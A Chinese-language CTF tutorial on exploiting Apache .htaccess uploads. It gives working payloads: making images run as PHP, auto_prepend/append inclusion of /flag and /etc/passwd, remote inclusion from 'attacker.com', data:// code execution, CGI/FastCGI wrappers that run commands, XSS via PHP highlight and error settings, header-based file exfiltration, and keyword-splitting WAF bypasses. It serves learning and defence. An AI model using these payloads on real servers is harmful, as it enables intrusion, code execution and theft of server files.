文件上传 .htaccess文件篇
一. .htaccess文件是什么
.htaccess 是 Apache web 服务器的一种分布式配置文件。它允许在不修改主配置文件的情况下,对特定目录及其子目录的Apache行为进行配置。
//小芝士:
.ht表示它是隐藏文件
access表示它用于控制访问权限和配置
主要作用:目录级配置
/var/www/html/ # 主目录
├── .htaccess # 影响整个html目录
├── admin/
│ └── .htaccess # 只影响admin目录
└── upload/
└── .htaccess # 只影响upload目录
常见功能:
URL重写:美化URL、重定向
访问控制:IP黑白名单、密码保护
错误页面定制:自定义404、403页面
MIME类型设置:定义文件类型的处理方式
缓存控制:设置浏览器缓存策略
文件索引:控制目录列表显示
二.常见指令
①SetHandler(信息收集查看自己payload的触发情况)
编辑.htaccess文件内容为
SetHandler application/x-httpd-php //当前目录下的所有文件都会被当成php解析
SetHandler server-status // 这种方式利用了apache的服务器状态信息(默认关闭),可以查看所有访问本站的记录
通过访问特定文件(如一个不存在的文件)并加上 ?refresh=5 参数,可以实时查看服务器的访问记录。
这里主要是信息收集,监控流量。
②AddType(将图片当作php运行)
可以将给定的文件扩展名映射到指定的内容类型
故使用 AddType application/x-httpd-php .gif 或 AddType application/x-httpd-php .png .jpg 等指令,可以将特定的文件后缀(如.gif, .png)映射到PHP处理器。
当网站只允许上传图片但限制不严时,攻击者上传一个名为 shell.jpg 或 shell.png 的图片马,并配合此.htaccess指令,使得服务器将该图片作为PHP执行,从而获取WebShell。
用法
AddType media-type extension [extension] ...
AddType application/x-httpd-php .gif
//将扩展名为.gif的文件当作php文件解析
AddType application/x-httpd-php png jpg gif
//将以 .png .jpg .gif 多个后缀当做 php 解析
③AddHandler (cgi脚本执行)
可以在文件扩展名与特定的处理器之间建立映射
AddHandler cgi-script .xxx
//可以将非标准的后缀名(如.xxx)映射到CGI处理器。
如果服务器允许上传并执行CGI脚本,攻击者可以上传一个恶意的CGI脚本并修改其扩展名,通过此指令使其被正确执行。
④php_value 文件上传(自动包含)及正则绕过
php_value auto_prepend_file images.png
//作用是在每个PHP文件执行之前,自动包含并解析 images.png 文件。
如果攻击者无法直接上传PHP文件,但可以上传一个包含PHP代码的图片(如 images.png),再通过此指令让所有PHP文件在解析前都自动包含这个图片。这样,攻击者访问网站上的任何一个正常的PHP页面,图片中的恶意代码就会被执行。这实质上是一种“自动包含”的GetShell方式。
利用php_value绕过正则表达式限制
通过设置 php_value pcre.backtrack_limit 0 和 php_value pcre.jit 0 来降低正则表达式的回溯限制。
原理是设置正则回朔次数来使正则匹配的结果返回为 false 而不是0 ,从而可以绕过正则。
⑤php_flag engine 0 获取源码(没啥用 )其实和你鼠标右键一样
php_flag engine 0 会关闭当前目录及子目录的PHP引擎。
这主要用于源码泄露。当一个目录下的文件原本应该被PHP解析输出动态内容时,如果PHP引擎被关闭,访问这些文件时,服务器将不再解析它们,而是直接返回文件的原始源代码。
⑥一些其他的方法和他们的利用场景:DirectoryIndex
DirectoryIndex index.html index.php index.htm // 设置目录的默认索引文件顺序
DirectoryIndex index.html index.php /123.txt //示例
指令作用:当用户访问一个目录(例如 http://site.com/upload/)时,Apache会在该目录下寻找DirectoryIndex指令指定的文件列表,并返回第一个找到的文件。如果所有文件都不存在,Apache会根据Options指令的配置,可能返回目录列表(如果开启了Indexes)或403禁止访问。
在Union ctf ezupload题中利用它制造一个“必然会失败”的文件查找过程。指令中的/123.txt指向文件系统根目录下的一个文件(通常不存在)。这个查找操作本身成为了一个“触发器”,目的是让Apache在处理请求时,顺带执行后续的Header指令。
如果服务器配置存在缺陷,可以通过设置DirectoryIndex指向一个已知的敏感文件(如/etc/passwd),观察服务器是返回文件内容还是报错,从而判断文件是否存在。
⑦访问控制和功能配置Options +Indexes
Options指令用于开启或关闭特定的服务器特性,+Indexes意味着当目录没有默认首页时,允许列出目录内容。可以简单的理解为提升了一下我们的权限。
CTF利用场景:
- 信息泄露:
Options +Indexes如果应用在敏感目录(如备份目录、上传目录),攻击者可以直接浏览并下载目录下的所有文件。 - 提升权限
⑧RewriteEngine 与 RewriteRule
RewriteEngine On
RewriteRule ^product-([0-9]+)\.html$ product.php?id=$1
指令作用:
RewriteEngine On用于开启重写引擎。RewriteRule用于定义具体的重写规则,它匹配请求的URL,并将其重定向到另一个路径或文件。
参考payload union ctf ezupload:
RewriteEngine On
RewriteCond expr "file('/flag') =~ /(.+)/"
RewriteRule .* - [E=FLAG_CONTENT:%1]
这里的RewriteRule .* - [E=FLAG_CONTENT:%1]:
.*匹配所有请求。-表示不进行重定向,也不改变URL。[E=FLAG_CONTENT:%1]是一个标志(flag),它的作用是将RewriteCond中捕获的内容(%1,即flag文件的内容)赋值给一个名为FLAG_CONTENT的环境变量。 所以,这条RewriteRule本身不修改任何路径,它的唯一目的就是传递数据。
CTF利用场景:
-
数据传递:用
[E=变量名:%1]将正则捕获的内容存储到环境变量中,供其他模块(如mod_headers)使用。 -
路径伪造:可以重写URL,让看似普通的请求指向恶意文件。例如,上传一个图片马
shell.jpg,然后通过.htaccess设置:
apache
RewriteEngine On
RewriteRule ^images/.*\.php$ shell.jpg [L]
这样,当访问images/shell.php时,实际上返回的是shell.jpg的内容,但如果服务器将.jpg解析为PHP,就会执行恶意代码。
- 信息读取:结合
RewriteCond expr和file()函数,可以在不依赖PHP的情况下读取服务器文件。例如:
apache
RewriteCond expr "file('/etc/passwd') =~ /(root:.*)/"
RewriteRule .* - [E=USERINFO:%1]
⑨Header 指令
Header set X-Powered-By "Apache"
Header set X-Custom-Header "My Value"
指令作用:
Header指令用于添加、修改或删除HTTP响应头。它可以设置为静态值,也可以设置为动态表达式(expr=)。
Header指令都是最终数据外带的关键。
Header set X-Test-Expr "%{FLAG_CONTENT}e"
这里从环境变量FLAG_CONTENT中读取flag内容,并写入响应头X-Test-Expr。
Header set X-Flag "expr=%{file:/flag}"
这里更直接,用expr=%{file:/flag}表达式,在设置响应头的同时,立即读取/flag文件的内容并写入响应头。
利用场景:
-
数据外带:当响应体被限制(如PHP被禁用、内容被过滤)时,将敏感数据写入响应头是经典的绕过技巧。攻击者只需查看服务器的响应头即可获取信息。
-
信息探测:通过设置响应头并观察服务器的行为,可以判断某些配置是否生效。例如,设置一个自定义头
X-Debug: expr=%{ENV:SECRET},如果返回了SECRET环境变量的值,说明配置解析成功。 -
与
expr深度结合:expr表达式可以调用Apache的内部函数(如file()、reqenv())和变量(如%{TIME})。这意味着可以通过Header指令实现动态内容生成。例如:
apache
Header set X-Server-Time "expr=%{TIME}"
Header set X-Request-ID "expr=%{UNIQUE_ID}"
三.具体场景及其组合利用方式
①文件解析
当文件上传的黑名单没有限制 .htaceess 后缀,通过上传 .htaccess 文件,再上传图片,使图片的 php 恶意代码得以被解析执行。
1.`SetHandler` 指令
# 将images.png 当做 PHP 执行
<FilesMatch "images.png">
SetHandler application/x-httpd-php
</FilesMatch>
2.AddType
# 将 .jpg 当做 PHP 文件解析
AddType application/x-httpd-php .jpg
②文件包含,本地文件包含 (LFI) 与敏感文件读取
本地文件包含
目标:读取服务器上的敏感文件(如 /etc/passwd、/flag)。
攻击链:上传 .htaccess 文件,内容为 php_value auto_prepend_file /flag,并访问同目录下的一个合法的PHP文件(如 index.php)。
结果:在 index.php 执行前,/flag 文件的内容会被自动包含并执行。如果/flag包含PHP代码,则会执行;如果是纯文本,其内容会被直接输出在页面中(如果PHP配置允许)。
核心指令
指令 作用 区别
auto_prepend_file 在执行目标PHP文件之前,自动包含(include)指定的文件。 脚本执行前
auto_append_file 在执行目标PHP文件之后,自动包含(include)指定的文件。 脚本执行后
这两个指令原本是为了方便开发者全局引入公共文件(如数据库连接配置、函数库)而设计的。
在 .htaccess 中,php_value 允许你动态修改这些配置,仅对当前目录及其子目录生效。
当指定的文件被包含时,PHP引擎会把它当作PHP代码来解析执行。
参考payload:
#auto_prepend_file
配置文件:php_value auto_prepend_file /etc/passwd
或
#auto_append_file
配置文件:php_value auto_append_file /etc/passwd
远程文件包含
前提条件:all_url_include为On, 在.htaccess文件中配置如下
php_value auto_append_file http://attacker.com/phpinfo.txt
结果:在访问任意一个页面的时候,目标服务器会远程获取 phpinfo.txt文件包含到页面中。
③代码执行
1.伪协议
前提条件:all_url_fopen、all_url_include为On
在.htaccess文件中配置如下:
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw== //解码后内容为<?php phpinfo(); ?>
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
在访问php页面后,会自动执行该配置文件,将包含到php页面中并执行。
2.解析.htaccess
方法一:把.htaccess文件包含到当前页面中执行,打印配置文件到页面上,.htaccess文件配置:
php_value auto_append_file .htaccess
#<?php phpinfo();
在htaccess配置文件中,#代表注释,在配置文件中,不起作用,但是,当该配置文件被包含到php文件中,注释后的php代码会被执行。
方法二:(适用与目录中没有php文件)
这种适合同目录或子目录没有 php 文件。需要先设置允许可访问 .htaccess 文件,在.htaccess文件中配置如下:设置允许可访问 .htaccess 文件
<Files ~ "^.ht">
Require all granted
Order allow,deny
Allow from all
</Files>
再将 .htaccess指定当做 php文件处理
SetHandler application/x-httpd-php
# <?php phpinfo(); ?>
效果如图:

④命令执行(这个方法很少见,试验了几个题目靶场基本没有mod_cgi 模块,仅作了解)
传统 CGI 命令执行(mod_cgi):
CGI(Common Gateway Interface,公共网关接口) 是一种让Web服务器与外部程序(如脚本、可执行文件)交互的协议。
前提条件
Apache必须加载了 mod_cgi 模块。在apache主配置文件中应有:
LoadModule cgi_module modules/mod_cgi.so
.htaccess 配置详解
apache
Options ExecCGI # 允许在该目录下执行CGI程序
AddHandler cgi-script .xx # 将.xx后缀的文件当作CGI程序处理
指令作用:
Options ExecCGI:开启目录的CGI执行权限。默认情况下,出于安全考虑,CGI执行是关闭的。AddHandler cgi-script .xx:建立文件后缀与处理器的映射。这里将.xx后缀映射到cgi-script处理器,意味着任何以.xx结尾的文件都会被Apache当作CGI程序执行。
示例:
miao.xx
#!C:/Windows/System32/cmd.exe /k start calc.exe
7
这里是打开本地C盘计算器。在ctf里可以反弹shell的方式去进行命令执行,也可以直接编写
echo "Content-Type: text/html"
echo ""
echo "<h3>Root Directory Listing:</h3>"
echo "<pre>"
ls -la /
echo "</pre>"
类似的命令程序直接进行执行。
FastCGI 命令执行(mod_fcgid):
FastCGI 是CGI的改进版本,旨在解决传统CGI为每个请求创建新进程的性能问题。它通过持久化进程来处理多个请求,提高了效率。mod_fcgid 是Apache实现FastCGI支持的模块。
前提条件
Apache必须加载了 mod_fcgid 模块:
LoadModule fcgid_module modules/mod_fcgid.so
.htaccess 配置详解
Options +ExecCGI # 开启CGI执行权限
AddHandler fcgid-script .xx # 将.xx后缀的文件交给fcgid处理器
FcgidWrapper "C:/Windows/System32/cmd.exe /k start calc.exe" .xx
此时miao.xx的文件内容可以是任意内容

新增指令:
FcgidWrapper:这是mod_fcgid特有的指令。它指定一个包装器程序(wrapper)来处理特定后缀的文件。- 语法:
FcgidWrapper "包装器程序路径" [文件后缀] - 作用:对于匹配后缀的文件,Apache会调用指定的包装器程序来执行它们。
- 这里将
cmd.exe /k start calc.exe设置为.xx文件的执行包装器,意味着任何对.xx文件的请求,都会启动计算器进程。
执行流程
- 攻击者上传
.htaccess和任意.xx文件(内容可空白)。 - 访问
ce.xx。 mod_fcgid接管请求,根据FcgidWrapper指令,调用cmd.exe启动计算器。- 与CGI的区别:FastCGI可能会维持一个进程池,但这里因为包装器每次都启动新进程,效果与传统CGI类似。
⑤xss
highlight_file:
前提条件:php文件中存在highlight_file(__FILE__);
.htaccess配置文件
php_value highlight.comment '"><script>alert(1);</script>'
指令作用:
highlight.comment:这是PHP的语法高亮配置选项之一,用于定义注释在HTML输出时的样式。- 默认情况下,它的值是类似
style="color: #FF8000"的HTML属性字符串。 - 攻击者将其改为
'"><script>alert(1);</script>',这是一个HTML注入 payload。
其中的 highlight.comment 也可以换成其他选项比如,

highlight.string 字符串颜色 #DD0000
highlight.comment 注释颜色 #FF8000
highlight.keyword 关键字颜色 #007700
highlight.default 默认文本颜色 #0000BB
highlight.html HTML代码颜色 #000000
示例:
index.php
<?php
highlight_file(__FILE__);
// comment
流程及其效果
-
用户访问
index.php。 -
PHP执行
highlight_file(__FILE__);,读取index.php自身的源代码。 -
PHP对源代码进行语法高亮处理,为不同元素(关键字、字符串、注释等)添加HTML
<span>标签和样式。 -
在处理注释
// comment时,PHP使用highlight.comment配置的值作为样式属性。 -
最终生成的HTML代码中会出现类似:
html
<span style="'><script>alert(1);</script>">// comment</span> -
浏览器解析HTML时,
<script>alert(1);</script>被当作JavaScript执行,弹窗。
利用错误消息链接实现 XSS
前提条件
目录下有一个PHP文件,会触发错误(例如包含一个不存在的文件)。
index.php
<?php
include('foo'); // foo文件不存在,会报错
?>
.htaccess 配置
php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "'><script>alert(1);</script>"
指令详解:
php_flag display_errors 1:开启错误显示,让错误信息输出到浏览器。php_flag html_errors 1:以HTML格式显示错误信息,使错误信息中包含链接。php_value docref_root "'><script>alert(1);</script>":设置错误消息中“参考文档”链接的根URL。当html_errors开启时,PHP会在错误信息中生成一个指向文档的链接,链接地址由docref_root和错误类型组成。
流程及最终效果:
-
用户访问
index.php。 -
PHP尝试包含
foo文件,但文件不存在,触发警告或错误。 -
由于
display_errors和html_errors开启,PHP生成HTML格式的错误信息。 -
在错误信息中,PHP会包含一个“参考文档”链接,链接的href属性值由
docref_root决定。 -
攻击者设置的
docref_root值为'"><script>alert(1);</script>,因此生成的HTML代码为:html
<a href="'><script>alert(1);</script>...">...</a> -
浏览器解析时,
<script>标签被执行。
这里可以做到窃取cookie,配合CSRF进行脚本执行恶意操作。
⑥利用重写模块读取文件内容
RewriteEngine On
RewriteCond expr "file('/flag') =~ /(.+)/"
RewriteRule .* - [E=FLAG_CONTENT:%1]
Header set X-Test-Expr "%{FLAG_CONTENT}e"
上传 .htaccess 作为攻击入口(突破上传限制)。
利用 mod_rewrite + expr + file() 读取服务器上的flag文件。
利用 mod_headers 将读取到的内容写入响应头。
访问任意文件 触发重写规则,从而获取flag。
核心利用点:
RewriteCond expr: 在重写条件中使用表达式(expr)解析器。表达式可以调用Apache的内部函数,例如file('/flag')。file()函数: 在Apache的expr上下文中,file('/flag')用于读取服务器上的文件(这里是根目录下的flag文件)。这是本题实现文件读取的关键。- 正则捕获: 通过
=~ /(.+)/将读取的文件内容匹配并捕获到变量%1中。 mod_headers:由于无法直接将文件内容打印到页面上(且PHP被禁用),攻击者将捕获到的flag内容(%{FLAG_CONTENT}e)写入自定义的响应头X-Test-Expr中。当客户端访问该目录下的任意文件时,flag就会以响应头的形式返回给攻击者。RewriteRule .* - [E=FLAG_CONTENT:%1]中的[E=]标志用于设置环境变量。将正则捕获到的flag内容(%1)赋值给环境变量FLAG_CONTENT。随后,Header指令通过%{FLAG_CONTENT}e语法读取这个环境变量,实现了重写模块到头模块的数据传递。
⑦利用不存在的文件,触发header头带出
Options +Indexes
DirectoryIndex /123.txt
Header set X-Flag "expr=%{file:/flag}"
这个只需要上传一个文件即可。最后访问目录本身。
四.Bypass
第一类:绕过内容检测(改动的是文件内容)
这类方法适用于:服务器检查了上传文件的内容,发现了黑名单关键词(如 AddType、php_value)就拦截。我们通过改变文件内容的写法,让这些关键词不被识别出来,但Apache在解析时仍能正确执行。
1. 注释符与拼接绕过
-
原理解析:Apache解析
.htaccess时,支持两种语法: -
#作为注释符,它后面的内容会被忽略。我们可以利用这一点,在敏感指令后加上#,来绕过WAF。 -
\可以拼接上下两行,这可以用来拆分敏感关键词。 -
利用方式举例:
-
内容拆分:将
AddType拆成AddT和ype分两行写。```
文件内容
AddT\ ype application/x-httpd-php .jpg ```
WAF如果只做简单的关键词匹配,可能只看到第一行的
AddT和第二行的ype,无法识别出完整的AddType。但Apache在解析时,会把这两行合并成一条完整指令执行。 -
内容混淆:在有效指令后面加上
##需要和前面的内容隔一个空格,并且#只能注释一行内容,可以使用反斜线来转义换行符,从而注释多行内容```
文件内容
AddType application/x-httpd-php .jpg # abdsad sadad ```
2. 空字节注释绕过
-
原理解析:在早期的Apache版本或某些特定配置下,空字节(
0x00)在配置文件中也可能被当作注释符或截断符。其后的内容会被忽略。 -
利用方式: 在文件内容中插入空字节。
```
RewriteEngine On
RewriteCond expr "file('/flag') =~ /(.+)/"
RewriteRule .* - [E=FLAG_CONTENT:%1]
Header set X-Test-Expr "%{FLAG_CONTENT}e"
解法二:
Options +Indexes
DirectoryIndex /123.txt
Header set X-Flag "expr=%{file:/flag}"